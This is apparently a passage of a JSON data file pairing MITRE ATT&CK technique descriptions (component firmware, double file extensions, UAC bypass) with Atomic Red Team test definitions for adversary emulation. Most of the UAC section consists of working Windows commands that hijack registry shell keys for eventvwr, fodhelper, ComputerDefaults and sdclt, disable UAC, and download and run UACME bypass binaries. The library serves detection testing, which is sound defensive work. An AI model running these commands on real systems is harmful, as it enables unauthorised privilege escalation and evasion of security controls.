"Component Firmware", - "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "File monitoring", - "Host intrusion prevention systems", - "Anti-virus" - ], - "x_mitre_permissions_required": [ - "SYSTEM" - ], - "x_mitre_system_requirements": [ - "Ability to update component device firmware from the host operating system." - ] - }, - "atomic_tests": [] - }, - "T1036.007": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e", - "type": "attack-pattern", - "created": "2021-08-04T20:54:03.066Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1036.007", - "url": "https://attack.mitre.org/techniques/T1036/007" - }, - { - "source_name": "PCMag DoubleExtension", - "url": "https://www.pcmag.com/encyclopedia/term/double-extension", - "description": "PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021." - }, - { - "source_name": "SOCPrime DoubleExtension", - "url": "https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/", - "description": "Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021." - }, - { - "source_name": "Seqrite DoubleExtension", - "url": "https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/", - "description": "Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021." - } - ], - "modified": "2021-10-14T21:09:59.588Z", - "name": "Double File Extension", - "description": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Metadata", - "File: File Creation" - ] - }, - "atomic_tests": [] - }, - "T1548.002": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak", - "Casey Smith" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", - "created": "2020-01-30T14:24:34.977Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1548.002", - "url": "https://attack.mitre.org/techniques/T1548/002" - }, - { - "source_name": "Davidson Windows", - "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html", - "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014." - }, - { - "source_name": "TechNet How UAC Works", - "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works", - "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016." - }, - { - "source_name": "SANS UAC Bypass", - "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass", - "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016." - }, - { - "source_name": "MSDN COM Elevation", - "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx", - "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016." - }, - { - "source_name": "enigma0x3 Fileless UAC Bypass", - "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", - "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016." - }, - { - "source_name": "enigma0x3 sdclt app paths", - "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/", - "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017." - }, - { - "source_name": "enigma0x3 sdclt bypass", - "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", - "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017." - }, - { - "source_name": "TechNet Inside UAC", - "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx", - "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016." - }, - { - "source_name": "Fortinet Fareit", - "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware", - "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016." - }, - { - "source_name": "Github UACMe", - "url": "https://github.com/hfiref0x/UACME", - "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)", - "modified": "2022-04-19T15:11:20.036Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Abuse Elevation Control Mechanism: Bypass User Account Control", - "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Metadata", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_effective_permissions": [ - "Administrator" - ], - "x_mitre_defense_bypassed": [ - "Windows User Account Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1548.002" - }, - "atomic_tests": [ - { - "name": "Bypass UAC using Event Viewer (cmd)", - "auto_generated_guid": "5073adf8-9a50-4bd9-b298-a9bd2ead8af9", - "description": "Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\nUpon execution command prompt should be launched with administrative privileges. \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "executable_binary": { - "description": "Binary to execute with UAC Bypass", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "reg.exe add hkcu\\software\\classes\\mscfile\\shell\\open\\command /ve /d \"#{executable_binary}\" /f\ncmd.exe /c eventvwr.msc\n", - "cleanup_command": "reg.exe delete hkcu\\software\\classes\\mscfile /f >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Bypass UAC using Event Viewer (PowerShell)", - "auto_generated_guid": "a6ce9acf-842a-4af6-8f79-539be7608e2b", - "description": "PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\nUpon execution command prompt should be launched with administrative privalages\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "executable_binary": { - "description": "Binary to execute with UAC Bypass", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "New-Item \"HKCU:\\software\\classes\\mscfile\\shell\\open\\command\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\mscfile\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\eventvwr.msc\"\n", - "cleanup_command": "Remove-Item \"HKCU:\\software\\classes\\mscfile\" -force -Recurse -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Bypass UAC using Fodhelper", - "auto_generated_guid": "58f641ea-12e3-499a-b684-44dee46bd182", - "description": "Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.\nUpon execution, \"The operation completed successfully.\" will be shown twice and command prompt will be opened.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "executable_binary": { - "description": "Binary to execute with UAC Bypass", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "reg.exe add hkcu\\software\\classes\\ms-settings\\shell\\open\\command /ve /d \"#{executable_binary}\" /f\nreg.exe add hkcu\\software\\classes\\ms-settings\\shell\\open\\command /v \"DelegateExecute\" /f\nfodhelper.exe\n", - "cleanup_command": "reg.exe delete hkcu\\software\\classes\\ms-settings /f >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Bypass UAC using Fodhelper - PowerShell", - "auto_generated_guid": "3f627297-6c38-4e7d-a278-fc2563eaaeaa", - "description": "PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.\nUpon execution command prompt will be opened.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "executable_binary": { - "description": "Binary to execute with UAC Bypass", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\fodhelper.exe\"\n", - "cleanup_command": "Remove-Item \"HKCU:\\software\\classes\\ms-settings\" -force -Recurse -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Bypass UAC using ComputerDefaults (PowerShell)", - "auto_generated_guid": "3c51abf2-44bf-42d8-9111-dc96ff66750f", - "description": "PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10\nUpon execution administrative command prompt should open\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "executable_binary": { - "description": "Binary to execute with UAC Bypass", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\ComputerDefaults.exe\"\n", - "cleanup_command": "Remove-Item \"HKCU:\\software\\classes\\ms-settings\" -force -Recurse -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Bypass UAC by Mocking Trusted Directories", - "auto_generated_guid": "f7a35090-6f7f-4f64-bb47-d657bf5b10c1", - "description": "Creates a fake \"trusted directory\" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems\nUpon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "executable_binary": { - "description": "Binary to execute with UAC Bypass", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "mkdir \"\\\\?\\C:\\Windows \\System32\\\"\ncopy \"#{executable_binary}\" \"\\\\?\\C:\\Windows \\System32\\mmc.exe\"\nmklink c:\\testbypass.exe \"\\\\?\\C:\\Windows \\System32\\mmc.exe\"\n", - "cleanup_command": "rd \"\\\\?\\C:\\Windows \\\" /S /Q >nul 2>nul\ndel \"c:\\testbypass.exe\" >nul 2>nul\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Bypass UAC using sdclt DelegateExecute", - "auto_generated_guid": "3be891eb-4608-4173-87e8-78b494c029b7", - "description": "Bypasses User Account Control using a fileless method, registry only.\nUpon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe\n[Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)\nAdapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command.to.execute": { - "description": "Command to execute", - "type": "string", - "default": "cmd.exe /c notepad.exe" - } - }, - "executor": { - "command": "New-Item -Force -Path \"HKCU:\\Software\\Classes\\Folder\\shell\\open\\command\" -Value '#{command.to.execute}'\nNew-ItemProperty -Force -Path \"HKCU:\\Software\\Classes\\Folder\\shell\\open\\command\" -Name \"DelegateExecute\"\nStart-Process -FilePath $env:windir\\system32\\sdclt.exe\nStart-Sleep -s 3\n", - "cleanup_command": "Remove-Item -Path \"HKCU:\\Software\\Classes\\Folder\" -Recurse -Force -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Disable UAC using reg.exe", - "auto_generated_guid": "9e8af564-53ec-407e-aaa8-3cb20c3af7f9", - "description": "Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key\nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA from 1 to 0\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f\n", - "cleanup_command": "reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Bypass UAC using SilentCleanup task", - "auto_generated_guid": "28104f8a-4ff1-4582-bcf6-699dce156608", - "description": "Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/\n\nThere is an auto-elevated task called SilentCleanup located in %windir%\\system32\\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level).\n\nFor example, we can set the windir registry kye to: \"cmd /k REM \"\n\nAnd forcefully run SilentCleanup task:\n\nschtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I\n\nREM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_path": { - "description": "Path to the bat file", - "type": "string", - "default": "PathToAtomicsFolder\\T1548.002\\src\\T1548.002.bat" - } - }, - "executor": { - "command": "#{file_path}\n", - "name": "command_prompt", - "elevation_required": false - } - }, - { - "name": "UACME Bypass Method 23", - "auto_generated_guid": "8ceab7a2-563a-47d2-b5ba-0995211128d7", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Leo Davidson derivative\n\nType:\tDll Hijack\n\nMethod: IFileOperation\n\nTarget:\t\\system32\\pkgmgr.exe\n\nComponent: DismCore.dll\n\nImplementation:\tucmDismMethod\n\nUCM Method:\tUacMethodDISM\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\23 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "UACME Bypass Method 31", - "auto_generated_guid": "b0f76240-9f33-4d34-90e8-3a7d501beb15", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\sdclt.exe\n\nComponent: Attacker defined\n\nImplementation:\tucmSdcltIsolatedCommandMethod\n\nUCM Method:\tUacMethodShellSdclt\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\31 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "UACME Bypass Method 33", - "auto_generated_guid": "e514bb03-f71c-4b22-9092-9f961ec6fb03", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: winscripting.blog\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\fodhelper.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodMsSettings2\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\33 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "UACME Bypass Method 34", - "auto_generated_guid": "695b2dac-423e-448e-b6ef-5b88e93011d6", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tShell API\n\nMethod: Environment variables expansion\n\nTarget:\t\\system32\\svchost.exe via \\system32\\schtasks.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDiskCleanupEnvironmentVariable\n\nUCM Method:\tUacMethodDiskSilentCleanup\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\34 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "UACME Bypass Method 39", - "auto_generated_guid": "56163687-081f-47da-bb9c-7b231c5585cf", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Stefan Kanthak\n\nType:\tDll Hijack\n\nMethod: .NET Code Profiler\n\nTarget:\t\\system32\\mmc.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmCorProfilerMethod\n\nUCM Method:\tUacMethodCorProfiler\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\39 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "UACME Bypass Method 56", - "auto_generated_guid": "235ec031-cd2d-465d-a7ae-68bab281e80e", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Hashim Jawad\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\WSReset.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodShellWSReset\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\56 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "UACME Bypass Method 59", - "auto_generated_guid": "dfb1b667-4bb8-4a63-a85e-29936ea75f29", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tAppInfo ALPC\n\nMethod: RAiLaunchAdminProcess and 